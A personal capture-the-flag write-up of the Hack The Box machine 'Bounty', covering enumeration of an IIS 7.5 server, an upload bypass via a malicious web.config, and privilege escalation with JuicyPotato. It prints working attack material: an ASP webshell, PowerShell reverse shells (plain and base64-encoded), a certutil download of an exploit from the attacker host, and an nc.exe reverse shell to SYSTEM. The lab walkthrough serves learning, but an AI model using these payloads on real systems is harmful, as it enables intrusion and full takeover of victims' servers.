Bounty is suppose to be an easy Windows machine from Hack The Box that shows you the basics of ASPX exploitation, how services run in different contexts, and why it's important to really understand what you're looking at when you're enumerating a box.

The main lesson here is that paying attention to context — instead of just blindly running tools — makes your life a lot easier and also gets you to privilege escalation faster.

I started the enumeration with an Nmap scan, usually using these flags:

-p- meaning all ports — a bit slower, but we are sure we don't miss some weird open ports. -T4 we compensate a bit with this flag, which is fast (it goes from 1 to 5, 5 being the most aggressive). -A stands, ironically, for aggressive — meaning it tries to detect OS version, etc., basically giving as much info as possible. -sC runs default NSE (Nmap Scripting Engine) scripts. -sV so Nmap can try and detect what software and version of it is running on each open port. -oN output normal format — it gives us a file with the results of our scan so we can reference it later if needed.

sudo nmap -p- -A -T4 -sC -sV -oN nmapFull 10.129.4.64 
[sudo] password for abra: 
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-16 11:40 +0200
Nmap scan report for 10.129.4.64
Host is up (0.058s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 7.5
|_http-server-header: Microsoft-IIS/7.5
|_http-title: Bounty
| http-methods: 
|_  Potentially risky methods: TRACE
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|phone|specialized
Running (JUST GUESSING): Microsoft Windows 2008|7|Vista|Phone|2012|8.1 (97%)
OS CPE: cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_vista cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_8.1
Aggressive OS guesses: Microsoft Windows 7 or Windows Server 2008 R2 (97%), Microsoft Windows Server 2008 R2 or Windows 7 SP1 (92%), Microsoft Windows Vista or Windows 7 (92%), Microsoft Windows 8.1 Update 1 (92%), Microsoft Windows Phone 7.5 or 8.0 (92%), Microsoft Windows Server 2012 R2 (91%), Microsoft Windows Embedded Standard 7 (91%), Microsoft Windows Server 2008 R2 (89%), Microsoft Windows Server 2008 R2 or Windows 8.1 (89%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows


TRACEROUTE (using port 80/tcp)
HOP RTT      ADDRESS
1   68.21 ms 10.10.14.1
2   68.37 ms 10.129.4.64
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 106.79 seconds

I'm still understanding how important enumeration is. I've been hearing this for years, and each time I see how some small thing can matter so much — and if you miss it, you will be stuck in the dark for hours.

So what we see here: Only one open port — port 80. So this should be our way in!

It is running a Microsoft IIS server, version 7.5.

I trie:

searchsploit IIS

But there is nothing that fits our needs for version 7.5.

Meanwhile, I run Gobuster to see if there are any interesting directories, enlarging our attack surface. By default, I'm using the directory-list-2.3-medium.txt wordlist.

gobuster dir -u http://10.129.4.64  -w /usr/share/wordlists/kali-wordlists-master/dirbuster/directory-list-2.3-medium.txt -k
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.129.4.64
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/kali-wordlists-master/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
UploadedFiles        (Status: 301) [Size: 156] [--> http://10.129.4.64/UploadedFiles/]
uploadedFiles        (Status: 301) [Size: 156] [--> http://10.129.4.64/uploadedFiles/]
uploadedfiles        (Status: 301) [Size: 156] [--> http://10.129.4.64/uploadedfiles/]

It gives us one endpoint: http://10.129.4.64/UploadedFiles/ which we can't access. If we try, we get 403 — so basically nothing?

And this is something I learned (again) from this machine: if you want to do good enumeration, you need context — not just find what is running and whether there are any ready‑to‑use exploits, but understand exactly what the thing is that runs and maybe how to exploit it. It's easier said than done.

So let's start from scratch: what is IIS?

What is IIS — Internet Information Services (IIS) is a web server created by Microsoft.

What files are relevant to IIS (strange question, but it gave us a path) — .asp and .aspx (.asp is the older sibling of .aspx, with the difference that .asp runs directly in IIS and .aspx runs in .NET).

What is .NET — a development platform by Microsoft, and more specifically ASP.NET, which is used for web development — after all, we have a web server IIS.

So this is the key: we are talking about .asp and .aspx files, so we can enumerate for them in our fuzzing.

We can use dirb with the -X flag to search for files with specific extensions. If you don't specify a wordlist, dirb will use /usr/share/dirb/wordlists/common.txt.

dirb http://10.129.4.64/ -X ,.asp,.aspx  


-----------------
DIRB v2.22    
By The Dark Raver
-----------------
START_TIME: Mon Feb 16 12:07:55 2026
URL_BASE: http://10.129.4.64/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
EXTENSIONS_LIST: (,.asp,.aspx) | ()(.asp)(.aspx) [NUM = 3]
-----------------
GENERATED WORDS: 4612                                                          
---- Scanning URL: http://10.129.4.64/ ----
==> DIRECTORY: http://10.129.4.64/aspnet_client/                                                                                      
+ http://10.129.4.64/transfer.aspx (CODE:200|SIZE:974)                                                                            
==> DIRECTORY: http://10.129.4.64/uploadedfiles/                                                                                  
---- Entering directory: http://10.129.4.64/aspnet_client/ ----
==> DIRECTORY: http://10.129.4.64/aspnet_client/system_web/                                                                             
---- Entering directory: http://10.129.4.64/uploadedfiles/ ----
---- Entering directory: http://10.129.4.64/aspnet_client/system_web/ ----
-----------------
END_TIME: Mon Feb 16 12:46:08 2026
DOWNLOADED: 55344 - FOUND: 1

And we get a bit unstuck.

Also something new I learned from this lab — we can use a tool called shortscan. We can find it here: https://github.com/bitquark/shortscan. It is a fuzzing enumeration tool dedicated for IIS. It also gets the job done directly without needing to specify the file extensions.

shortscan -F http://10.129.4.64/
🌀 Shortscan v0.9.2 · an IIS short filename enumeration tool by bitquark
════════════════════════════════════════════════════════════════════════════════
URL: http://10.129.4.64/
Running: Microsoft-IIS/7.5 (ASP.NET v2.0.50727)
Vulnerable: Yes!
════════════════════════════════════════════════════════════════════════════════
CSASPX~1.CS          CSASPX?.CS 
ASPNET~1             ASPNET?             http://10.129.4.64/aspnet_client
TRANSF~1.ASP         TRANSF?.ASP?        http://10.129.4.64/transfer.aspx
UPLOAD~1             UPLOAD?             http://10.129.4.64/uploadedfiles
════════════════════════════════════════════════════════════════════════════════
════════════════════════════════════════════════════════════════════════════════
URL: http://10.129.4.64/ASPNET_CLIENT/
Running: Microsoft-IIS/7.5 (ASP.NET v2.0.50727)
Vulnerable: Yes!
════════════════════════════════════════════════════════════════════════════════
SYSTEM~1             SYSTEM?             http://10.129.4.64/ASPNET_CLIENT/system_web
════════════════════════════════════════════════════════════════════════════════
════════════════════════════════════════════════════════════════════════════════
URL: http://10.129.4.64/ASPNET_CLIENT/SYSTEM_WEB/
Running: Microsoft-IIS/7.5 (ASP.NET v2.0.50727)
Vulnerable: Yes!
════════════════════════════════════════════════════════════════════════════════
2_0_50~1             2_0_50?    
════════════════════════════════════════════════════════════════════════════════
════════════════════════════════════════════════════════════════════════════════
URL: http://10.129.4.64/UPLOADEDFILES/
Running: Microsoft-IIS/7.5 (ASP.NET v2.0.50727)
Vulnerable: No (or no 8.3 files exist)
════════════════════════════════════════════════════════════════════════════════
Finished! Requests: 1178; Retries: 0; Sent 235063 bytes; Received 741243 bytes

We find two new directories/paths from our new scans, and now we have:

http://10.129.4.64/aspnet_client
http://10.129.4.64/transfer.aspx
http://10.129.4.64/uploadedfiles

I learned that /aspnet_client is a default virtual directory created by Internet Information Services (IIS) when hosting ASP.NET applications (didn't know that). But it doesn't help us in any way for exploiting the system.

But on http://10.129.4.64/transfer.aspx we see an upload form.

None
The upload form on http://10.129.4.64/transfer.aspx

So I first tried to upload a .txt file and I was not allowed. Guess again — we should enumerate to see what files are allowed and where we can get from there.

We can use this wordlist from Git with file extensions: https://github.com/InfoSecWarrior/Offensive-Payloads/blob/main/File-Extensions-Wordlist.txt — and use Burp, but it is a bit slow.

Now we catch the request with Burp and send it to Intruder.

Mark the txt extension in the request and use the Add § button on the right to mark it as a payload so you can run your brute‑force attack with the file extensions list as payload. Go to the Payload tab in Burp and pass the list. I removed the "." (dots) from the list because Burp was encoding them. Run the attack and pray.

None

I filtered by Length, and we see that .config files can be uploaded successfully.

None

And now what?

What are config files? From Google: Config files (short for configuration files) are text documents that store settings, parameters, and user preferences for software applications, operating systems, or devices.

It is hard for me. It is about asking the right questions. In our case it is: "What is the ASP.NET config file?" — the answer: web.config.

And when we search for web.config rce or attack or exploit, we are getting somewhere.

The small struggle was also, after I was able to upload a hopefully malicious file, how I could trigger it. Again, back to our first enumeration when we found http://10.129.4.64/uploadedfiles, we need to do a cross between enumeration and manual brute forcing sometimes. So if we navigate to http://10.129.4.64/uploadedfiles/web.config, we are able to "trigger" the file that we uploaded.

Some clarification why this is the case: In Internet Information Services (IIS), a 403 on /UploadedFiles/ means the folder exists but directory browsing is disabled and there is no default document, so you cannot list its contents. However, accessing /UploadedFiles/web.config works because you are requesting a specific file directly, so IIS processes that file instead of trying to display the directory listing.

I started with this one, but I couldn't get it to work completely: https://gist.github.com/gazcbm/ea7206fbbad83f62080e0bbbeda77d9c The first one worked. It reached out to the Python server where I was hosting my nc.exe, but nothing more — I couldn't get a reverse shell.

I checked the walkthrough, and there this article was used: https://soroush.me/blog/uploading-web-config-for-fun-and-profit-2 BTW, I don't think I would EVER have found this specific blog.

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="web.config" verb="*" type="System.Web.UI.PageHandlerFactory" modules="ManagedPipelineHandler" requireAccess="Script" preCondition="integratedMode" />
<add name="web_config-Classic" path="web.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\Microsoft.NET\Framework64\v4.0.30319\aspnet_isapi.dll" requireAccess="Script" preCondition="classicMode,runtimeVersionv4.0,bitness64" />
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".config" />
</fileExtensions>
<hiddenSegments>
<remove segment="web.config" />
</hiddenSegments>
</requestFiltering>
</security>
<validation validateIntegratedModeConfiguration="false" />
</system.webServer>
<system.web>
<compilation defaultLanguage="vb">
<buildProviders> <add extension=".config" type="System.Web.Compilation.PageBuildProvider" /> </buildProviders>
</compilation>
<httpHandlers>
<add path="web.config" type="System.Web.UI.PageHandlerFactory" verb="*" />
</httpHandlers>
</system.web>
</configuration>
<!-- ASP.NET code comes here! It should not include HTML comment closing tag and double dashes!
<%
Response.write("-"&"->")
' it is running the ASP code if you can see 3 by opening the web.config file!
Response.write(1+2)
Response.write("<!-"&"-")
%>
-->

But this one didn't work for me either.

None

And this is where my struggle began. So I started building my Frankenstein with trial and error. You can find the aspx webshell, which is most famously used; it is also used in the video walkthrough here: https://github.com/cspshivam/webshells

<%
Set rs = CreateObject("WScript.Shell") 
Set cmd = rs.Exec("") 
o = cmd.StdOut.Readall() 
Response.write(o) 
%>

And we tried the first template from here https://gist.github.com/gazcbm/ea7206fbbad83f62080e0bbbeda77d9c, which sort of worked — I saw it was reaching out to my machine at least. I modified it using the above ASPX shell. It was a struggle. I didn't know exactly which reverse shell to use. I cheated (took a peek) and used PowerShell #2 from: https://www.revshells.com/

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.234',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

Let's start our nc listener and see.

nc -lnvp 4444

None

And we get a connection which fails and no reverse shell. P.S. This was the web.config payload that was used in the above failed attempt.

None
<%
Set rs = CreateObject("WScript.Shell")
Set cmd = rs.Exec("cmd /c powershell -nop -w hidden -exec bypass -c ""$client = New-Object System.Net.Sockets.TCPClient('10.10.14.234',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()""")
o = cmd.StdOut.Readall()
Response.write(o)
%>

When we face this sort of problem, it usually is the encoding — or in this case, the lack of encoding. Because our payload is probably getting parsed through something, or a few things, before it reaches PowerShell and gets consumed by it. Let's try encoding it.

echo -n '$client = New-Object System.Net.Sockets.TCPClient("10.10.14.234",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv -t UTF-16LE | base64 -w 0
None

And this is our end product (only the bottom part with our ASPX shell and our payload). Let's try with the encoded reverse shell and upload our web.config.

<%
Set rs = CreateObject("WScript.Shell")
Set cmd = rs.Exec("cmd /c powershell -nop -w hidden -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMgAzADQAIgAsADQANAA0ADQAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsADAALAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA")
o = cmd.StdOut.Readall()
Response.write(o)
%>

After we successfully upload our web.config, we navigate to http://10.129.4.64/UploadedFiles/web.config.

P.S. Give it about a minute between every upload — HTB, I guess, has a sort of cleanup job that removes our uploaded file in a short period of time. And the page gets stuck loading, which is a good thing.

None

We successfully got a shell as merlin.

None

After some initial "walk" around the machine, I saw some weird behavior — I was able to list directories but not the files inside them. For example, the user.txt file was missing in merlin's Desktop folder. But it turned out that I was just not able to see it, and the file was there, and I could open and read it with cat user.txt. So we don't have a perfect reverse shell. I restarted the machine a couple of times, but nothing changed.

None

PRIVILEGE ESCALATION

From what I've learned so far, as we talked about, enumeration is key — actually, we never really finish doing enumeration; it is not an initial phase, it is a cycle. For example, now that we got some sort of foothold — with this partially blind reverse shell — we continue our enumeration from inside the system with the goal to escalate our privileges.

I found this article very helpful when I learned about Windows privilege escalations: https://medium.com/@RootRouteway/breaking-boundaries-mastering-windows-privilege-escalation-with-boxes-1ec73145f972

It's good to know the mentioned attacks by heart and always keep an eye out for them.

I also usually use Windows-Exploit-Suggester: https://github.com/strozfriedberg/Windows-Exploit-Suggester It's a bit unintuitive the first time you start it because it uses Python 2, but it is not that hard.

None

We have a 64‑bit system running Windows Server 2008 R2, build 7600.

None

And merlin has SeImpersonatePrivilege, which is Enabled. I first tried to escalate privileges with PrintSpoofer, but I remember PrintSpoofer is usually SeImpersonatePrivilegeused for service accounts like IIS APPPOOL, SQL Server service, or W3WP. Since we are currently a normal user, let's look into the potato family — a short cheat‑sheet table of which potato to use and when:

| Windows Build  | Windows Version          | Use           | Why                        |
| -------------- | ------------------------ | ------------- | -------------------------- |
| < 17763        | Server 2016 / Win10 1607 | JuicyPotato   | Old COM activation allowed |
| 17763          | Server 2019 (early)      | JuicyPotatoNG | CLSID restriction added    |
| 17763+ patched | Server 2019 hardened     | RoguePotato   | RPC OXID resolver bypass   |
| 19041+         | Win10 2004+              | GodPotato     | New DCOM auth only         |
| Server 2022    | Always                   | GodPotato     | Only method left           |

We'll need JuicyPotato, and we can find it here: https://github.com/ohpe/juicy-potato/releases/tag/v0.1

We download it to our machine and transfer it to the target machine.

On our local machine, in the directory where JuicyPotato is located:

python3 -m http.server 80

On the target machine:

certutil -urlcache -f http://10.10.14.234/JuicyPotato.exe  JuicyPotato.exe

We also need nc for Windows. We can get it from here: https://github.com/int0x33/nc.exe/

A small trick — if you don't know which nc to use, you can try both, but here even though we saw that the system is 64‑bit, we need to use the 32‑bit version of nc. Why? Your shell is running inside IIS (w3wp.exe), and on Server 2008 R2 the default AppPool is:

IIS (32-bit) → JuicyPotato (must match process arch) → spawn payload

And now let's try again to escalate our privileges. On our local machine, start a netcat listener on port 5555.

nc -lnvp 5555

And on our target machine, run:

./JuicyPotato.exe -l 5555 -p c:\windows\system32\cmd.exe -a "/c C:\Users\merlin\Desktop\nc.exe -e cmd.exe 10.10.14.234 5555" -t *
None

Then we check our netcat listener on port 5555 and………

None

We get nt authority\system!